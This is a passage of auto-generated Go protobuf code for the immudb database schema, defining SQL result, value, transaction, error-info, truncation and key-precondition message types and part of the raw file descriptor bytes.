protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *SQLQueryResult) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*SQLQueryResult) ProtoMessage() {}\n\nfunc (x *SQLQueryResult) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[115]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use SQLQueryResult.ProtoReflect.Descriptor instead.\nfunc (*SQLQueryResult) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{115}\n}\n\nfunc (x *SQLQueryResult) GetColumns() []*Column {\n\tif x != nil {\n\t\treturn x.Columns\n\t}\n\treturn nil\n}\n\nfunc (x *SQLQueryResult) GetRows() []*Row {\n\tif x != nil {\n\t\treturn x.Rows\n\t}\n\treturn nil\n}\n\ntype Column struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// Column name\n\tName string `protobuf:\"bytes,1,opt,name=name,proto3\" json:\"name,omitempty\"`\n\t// Column type\n\tType string `protobuf:\"bytes,2,opt,name=type,proto3\" json:\"type,omitempty\"`\n}\n\nfunc (x *Column) Reset() {\n\t*x = Column{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[116]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *Column) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*Column) ProtoMessage() {}\n\nfunc (x *Column) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[116]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use Column.ProtoReflect.Descriptor instead.\nfunc (*Column) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{116}\n}\n\nfunc (x *Column) GetName() string {\n\tif x != nil {\n\t\treturn x.Name\n\t}\n\treturn \"\"\n}\n\nfunc (x *Column) GetType() string {\n\tif x != nil {\n\t\treturn x.Type\n\t}\n\treturn \"\"\n}\n\ntype Row struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// Column names\n\tColumns []string `protobuf:\"bytes,1,rep,name=columns,proto3\" json:\"columns,omitempty\"`\n\t// Column values\n\tValues []*SQLValue `protobuf:\"bytes,2,rep,name=values,proto3\" json:\"values,omitempty\"`\n}\n\nfunc (x *Row) Reset() {\n\t*x = Row{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[117]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *Row) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*Row) ProtoMessage() {}\n\nfunc (x *Row) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[117]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use Row.ProtoReflect.Descriptor instead.\nfunc (*Row) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{117}\n}\n\nfunc (x *Row) GetColumns() []string {\n\tif x != nil {\n\t\treturn x.Columns\n\t}\n\treturn nil\n}\n\nfunc (x *Row) GetValues() []*SQLValue {\n\tif x != nil {\n\t\treturn x.Values\n\t}\n\treturn nil\n}\n\ntype SQLValue struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// Types that are assignable to Value:\n\t//\n\t//\t*SQLValue_Null\n\t//\t*SQLValue_N\n\t//\t*SQLValue_S\n\t//\t*SQLValue_B\n\t//\t*SQLValue_Bs\n\t//\t*SQLValue_Ts\n\t//\t*SQLValue_F\n\tValue isSQLValue_Value `protobuf_oneof:\"value\"`\n}\n\nfunc (x *SQLValue) Reset() {\n\t*x = SQLValue{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[118]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *SQLValue) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*SQLValue) ProtoMessage() {}\n\nfunc (x *SQLValue) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[118]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use SQLValue.ProtoReflect.Descriptor instead.\nfunc (*SQLValue) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{118}\n}\n\nfunc (m *SQLValue) GetValue() isSQLValue_Value {\n\tif m != nil {\n\t\treturn m.Value\n\t}\n\treturn nil\n}\n\nfunc (x *SQLValue) GetNull() structpb.NullValue {\n\tif x, ok := x.GetValue().(*SQLValue_Null); ok {\n\t\treturn x.Null\n\t}\n\treturn structpb.NullValue(0)\n}\n\nfunc (x *SQLValue) GetN() int64 {\n\tif x, ok := x.GetValue().(*SQLValue_N); ok {\n\t\treturn x.N\n\t}\n\treturn 0\n}\n\nfunc (x *SQLValue) GetS() string {\n\tif x, ok := x.GetValue().(*SQLValue_S); ok {\n\t\treturn x.S\n\t}\n\treturn \"\"\n}\n\nfunc (x *SQLValue) GetB() bool {\n\tif x, ok := x.GetValue().(*SQLValue_B); ok {\n\t\treturn x.B\n\t}\n\treturn false\n}\n\nfunc (x *SQLValue) GetBs() []byte {\n\tif x, ok := x.GetValue().(*SQLValue_Bs); ok {\n\t\treturn x.Bs\n\t}\n\treturn nil\n}\n\nfunc (x *SQLValue) GetTs() int64 {\n\tif x, ok := x.GetValue().(*SQLValue_Ts); ok {\n\t\treturn x.Ts\n\t}\n\treturn 0\n}\n\nfunc (x *SQLValue) GetF() float64 {\n\tif x, ok := x.GetValue().(*SQLValue_F); ok {\n\t\treturn x.F\n\t}\n\treturn 0\n}\n\ntype isSQLValue_Value interface {\n\tisSQLValue_Value()\n}\n\ntype SQLValue_Null struct {\n\tNull structpb.NullValue `protobuf:\"varint,1,opt,name=null,proto3,enum=google.protobuf.NullValue,oneof\"`\n}\n\ntype SQLValue_N struct {\n\tN int64 `protobuf:\"varint,2,opt,name=n,proto3,oneof\"`\n}\n\ntype SQLValue_S struct {\n\tS string `protobuf:\"bytes,3,opt,name=s,proto3,oneof\"`\n}\n\ntype SQLValue_B struct {\n\tB bool `protobuf:\"varint,4,opt,name=b,proto3,oneof\"`\n}\n\ntype SQLValue_Bs struct {\n\tBs []byte `protobuf:\"bytes,5,opt,name=bs,proto3,oneof\"`\n}\n\ntype SQLValue_Ts struct {\n\tTs int64 `protobuf:\"varint,6,opt,name=ts,proto3,oneof\"`\n}\n\ntype SQLValue_F struct {\n\tF float64 `protobuf:\"fixed64,7,opt,name=f,proto3,oneof\"`\n}\n\nfunc (*SQLValue_Null) isSQLValue_Value() {}\n\nfunc (*SQLValue_N) isSQLValue_Value() {}\n\nfunc (*SQLValue_S) isSQLValue_Value() {}\n\nfunc (*SQLValue_B) isSQLValue_Value() {}\n\nfunc (*SQLValue_Bs) isSQLValue_Value() {}\n\nfunc (*SQLValue_Ts) isSQLValue_Value() {}\n\nfunc (*SQLValue_F) isSQLValue_Value() {}\n\ntype NewTxRequest struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// Transaction mode\n\tMode TxMode `protobuf:\"varint,1,opt,name=mode,proto3,enum=immudb.schema.TxMode\" json:\"mode,omitempty\"`\n\t// An existing snapshot may be reused as long as it includes the specified transaction\n\t// If not specified it will include up to the latest precommitted transaction\n\tSnapshotMustIncludeTxID *NullableUint64 `protobuf:\"bytes,2,opt,name=snapshotMustIncludeTxID,proto3\" json:\"snapshotMustIncludeTxID,omitempty\"`\n\t// An existing snapshot may be reused as long as it is not older than the specified timeframe\n\tSnapshotRenewalPeriod *NullableMilliseconds `protobuf:\"bytes,3,opt,name=snapshotRenewalPeriod,proto3\" json:\"snapshotRenewalPeriod,omitempty\"`\n\t// Indexing may not be up to date when doing MVCC\n\tUnsafeMVCC bool `protobuf:\"varint,4,opt,name=unsafeMVCC,proto3\" json:\"unsafeMVCC,omitempty\"`\n}\n\nfunc (x *NewTxRequest) Reset() {\n\t*x = NewTxRequest{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[119]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *NewTxRequest) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*NewTxRequest) ProtoMessage() {}\n\nfunc (x *NewTxRequest) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[119]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use NewTxRequest.ProtoReflect.Descriptor instead.\nfunc (*NewTxRequest) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{119}\n}\n\nfunc (x *NewTxRequest) GetMode() TxMode {\n\tif x != nil {\n\t\treturn x.Mode\n\t}\n\treturn TxMode_ReadOnly\n}\n\nfunc (x *NewTxRequest) GetSnapshotMustIncludeTxID() *NullableUint64 {\n\tif x != nil {\n\t\treturn x.SnapshotMustIncludeTxID\n\t}\n\treturn nil\n}\n\nfunc (x *NewTxRequest) GetSnapshotRenewalPeriod() *NullableMilliseconds {\n\tif x != nil {\n\t\treturn x.SnapshotRenewalPeriod\n\t}\n\treturn nil\n}\n\nfunc (x *NewTxRequest) GetUnsafeMVCC() bool {\n\tif x != nil {\n\t\treturn x.UnsafeMVCC\n\t}\n\treturn false\n}\n\ntype NewTxResponse struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// Internal transaction ID\n\tTransactionID string `protobuf:\"bytes,1,opt,name=transactionID,proto3\" json:\"transactionID,omitempty\"`\n}\n\nfunc (x *NewTxResponse) Reset() {\n\t*x = NewTxResponse{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[120]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *NewTxResponse) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*NewTxResponse) ProtoMessage() {}\n\nfunc (x *NewTxResponse) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[120]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use NewTxResponse.ProtoReflect.Descriptor instead.\nfunc (*NewTxResponse) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{120}\n}\n\nfunc (x *NewTxResponse) GetTransactionID() string {\n\tif x != nil {\n\t\treturn x.TransactionID\n\t}\n\treturn \"\"\n}\n\ntype ErrorInfo struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// Error code\n\tCode string `protobuf:\"bytes,1,opt,name=code,proto3\" json:\"code,omitempty\"`\n\t// Error Description\n\tCause string `protobuf:\"bytes,2,opt,name=cause,proto3\" json:\"cause,omitempty\"`\n}\n\nfunc (x *ErrorInfo) Reset() {\n\t*x = ErrorInfo{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[121]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *ErrorInfo) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*ErrorInfo) ProtoMessage() {}\n\nfunc (x *ErrorInfo) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[121]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use ErrorInfo.ProtoReflect.Descriptor instead.\nfunc (*ErrorInfo) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{121}\n}\n\nfunc (x *ErrorInfo) GetCode() string {\n\tif x != nil {\n\t\treturn x.Code\n\t}\n\treturn \"\"\n}\n\nfunc (x *ErrorInfo) GetCause() string {\n\tif x != nil {\n\t\treturn x.Cause\n\t}\n\treturn \"\"\n}\n\ntype DebugInfo struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// Stack trace when the error was noticed\n\tStack string `protobuf:\"bytes,1,opt,name=stack,proto3\" json:\"stack,omitempty\"`\n}\n\nfunc (x *DebugInfo) Reset() {\n\t*x = DebugInfo{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[122]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *DebugInfo) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*DebugInfo) ProtoMessage() {}\n\nfunc (x *DebugInfo) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[122]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use DebugInfo.ProtoReflect.Descriptor instead.\nfunc (*DebugInfo) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{122}\n}\n\nfunc (x *DebugInfo) GetStack() string {\n\tif x != nil {\n\t\treturn x.Stack\n\t}\n\treturn \"\"\n}\n\ntype RetryInfo struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// Number of milliseconds after which the request can be retried\n\tRetryDelay int32 `protobuf:\"varint,1,opt,name=retry_delay,json=retryDelay,proto3\" json:\"retry_delay,omitempty\"`\n}\n\nfunc (x *RetryInfo) Reset() {\n\t*x = RetryInfo{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[123]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *RetryInfo) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*RetryInfo) ProtoMessage() {}\n\nfunc (x *RetryInfo) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[123]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use RetryInfo.ProtoReflect.Descriptor instead.\nfunc (*RetryInfo) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{123}\n}\n\nfunc (x *RetryInfo) GetRetryDelay() int32 {\n\tif x != nil {\n\t\treturn x.RetryDelay\n\t}\n\treturn 0\n}\n\ntype TruncateDatabaseRequest struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// Database name\n\tDatabase string `protobuf:\"bytes,1,opt,name=database,proto3\" json:\"database,omitempty\"`\n\t// Retention Period of data\n\tRetentionPeriod int64 `protobuf:\"varint,2,opt,name=retentionPeriod,proto3\" json:\"retentionPeriod,omitempty\"`\n}\n\nfunc (x *TruncateDatabaseRequest) Reset() {\n\t*x = TruncateDatabaseRequest{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[124]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *TruncateDatabaseRequest) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*TruncateDatabaseRequest) ProtoMessage() {}\n\nfunc (x *TruncateDatabaseRequest) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[124]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use TruncateDatabaseRequest.ProtoReflect.Descriptor instead.\nfunc (*TruncateDatabaseRequest) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{124}\n}\n\nfunc (x *TruncateDatabaseRequest) GetDatabase() string {\n\tif x != nil {\n\t\treturn x.Database\n\t}\n\treturn \"\"\n}\n\nfunc (x *TruncateDatabaseRequest) GetRetentionPeriod() int64 {\n\tif x != nil {\n\t\treturn x.RetentionPeriod\n\t}\n\treturn 0\n}\n\ntype TruncateDatabaseResponse struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// Database name\n\tDatabase string `protobuf:\"bytes,1,opt,name=database,proto3\" json:\"database,omitempty\"`\n}\n\nfunc (x *TruncateDatabaseResponse) Reset() {\n\t*x = TruncateDatabaseResponse{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[125]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *TruncateDatabaseResponse) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*TruncateDatabaseResponse) ProtoMessage() {}\n\nfunc (x *TruncateDatabaseResponse) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[125]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use TruncateDatabaseResponse.ProtoReflect.Descriptor instead.\nfunc (*TruncateDatabaseResponse) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{125}\n}\n\nfunc (x *TruncateDatabaseResponse) GetDatabase() string {\n\tif x != nil {\n\t\treturn x.Database\n\t}\n\treturn \"\"\n}\n\n// Only succeed if given key exists\ntype Precondition_KeyMustExistPrecondition struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// key to check\n\tKey []byte `protobuf:\"bytes,1,opt,name=key,proto3\" json:\"key,omitempty\"`\n}\n\nfunc (x *Precondition_KeyMustExistPrecondition) Reset() {\n\t*x = Precondition_KeyMustExistPrecondition{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[126]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *Precondition_KeyMustExistPrecondition) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*Precondition_KeyMustExistPrecondition) ProtoMessage() {}\n\nfunc (x *Precondition_KeyMustExistPrecondition) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[126]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use Precondition_KeyMustExistPrecondition.ProtoReflect.Descriptor instead.\nfunc (*Precondition_KeyMustExistPrecondition) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{14, 0}\n}\n\nfunc (x *Precondition_KeyMustExistPrecondition) GetKey() []byte {\n\tif x != nil {\n\t\treturn x.Key\n\t}\n\treturn nil\n}\n\n// Only succeed if given key does not exists\ntype Precondition_KeyMustNotExistPrecondition struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// key to check\n\tKey []byte `protobuf:\"bytes,1,opt,name=key,proto3\" json:\"key,omitempty\"`\n}\n\nfunc (x *Precondition_KeyMustNotExistPrecondition) Reset() {\n\t*x = Precondition_KeyMustNotExistPrecondition{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[127]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *Precondition_KeyMustNotExistPrecondition) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*Precondition_KeyMustNotExistPrecondition) ProtoMessage() {}\n\nfunc (x *Precondition_KeyMustNotExistPrecondition) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[127]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use Precondition_KeyMustNotExistPrecondition.ProtoReflect.Descriptor instead.\nfunc (*Precondition_KeyMustNotExistPrecondition) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{14, 1}\n}\n\nfunc (x *Precondition_KeyMustNotExistPrecondition) GetKey() []byte {\n\tif x != nil {\n\t\treturn x.Key\n\t}\n\treturn nil\n}\n\n// Only succeed if given key was not modified after given transaction\ntype Precondition_KeyNotModifiedAfterTXPrecondition struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// key to check\n\tKey []byte `protobuf:\"bytes,1,opt,name=key,proto3\" json:\"key,omitempty\"`\n\t// transaction id to check against\n\tTxID uint64 `protobuf:\"varint,2,opt,name=txID,proto3\" json:\"txID,omitempty\"`\n}\n\nfunc (x *Precondition_KeyNotModifiedAfterTXPrecondition) Reset() {\n\t*x = Precondition_KeyNotModifiedAfterTXPrecondition{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[128]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *Precondition_KeyNotModifiedAfterTXPrecondition) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*Precondition_KeyNotModifiedAfterTXPrecondition) ProtoMessage() {}\n\nfunc (x *Precondition_KeyNotModifiedAfterTXPrecondition) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[128]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use Precondition_KeyNotModifiedAfterTXPrecondition.ProtoReflect.Descriptor instead.\nfunc (*Precondition_KeyNotModifiedAfterTXPrecondition) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{14, 2}\n}\n\nfunc (x *Precondition_KeyNotModifiedAfterTXPrecondition) GetKey() []byte {\n\tif x != nil {\n\t\treturn x.Key\n\t}\n\treturn nil\n}\n\nfunc (x *Precondition_KeyNotModifiedAfterTXPrecondition) GetTxID() uint64 {\n\tif x != nil {\n\t\treturn x.TxID\n\t}\n\treturn 0\n}\n\nvar File_schema_proto protoreflect.FileDescriptor\n\nvar file_schema_proto_rawDesc = []byte{\n\t0x0a, 0x0c, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x12, 0x0d,\n\t0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x1a, 0x1c, 0x67,\n\t0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x61, 0x6e, 0x6e, 0x6f, 0x74, 0x61,\n\t0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x1b, 0x67, 0x6f, 0x6f,\n\t0x67, 0x6c, 0x65, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x65, 0x6d, 0x70,\n\t0x74, 0x79, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x1c, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65,\n\t0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x73, 0x74, 0x72, 0x75, 0x63, 0x74,\n\t0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x2c, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x2d, 0x67,\n\t0x65, 0x6e, 0x2d, 0x73, 0x77, 0x61, 0x67, 0x67, 0x65, 0x72, 0x2f, 0x6f, 0x70, 0x74, 0x69, 0x6f,\n\t0x6e, 0x73, 0x2f, 0x61, 0x6e, 0x6e, 0x6f, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2e, 0x70,\n\t0x72, 0x6f, 0x74, 0x6f, 0x22, 0x17, 0x0a, 0x03, 0x4b, 0x65, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b,\n\t0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x22, 0x48, 0x0a,\n\t0x0a, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1a, 0x0a, 0x08, 0x64,\n\t0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64,\n\t0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x1e, 0x0a, 0x0a, 0x70, 0x65, 0x72, 0x6d, 0x69,\n\t0x73, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0a, 0x70, 0x65, 0x72,\n\t0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0xee, 0x01, 0x0a, 0x04, 0x55, 0x73, 0x65, 0x72,\n\t0x12, 0x12, 0x0a, 0x04, 0x75, 0x73, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04,\n\t0x75, 0x73, 0x65, 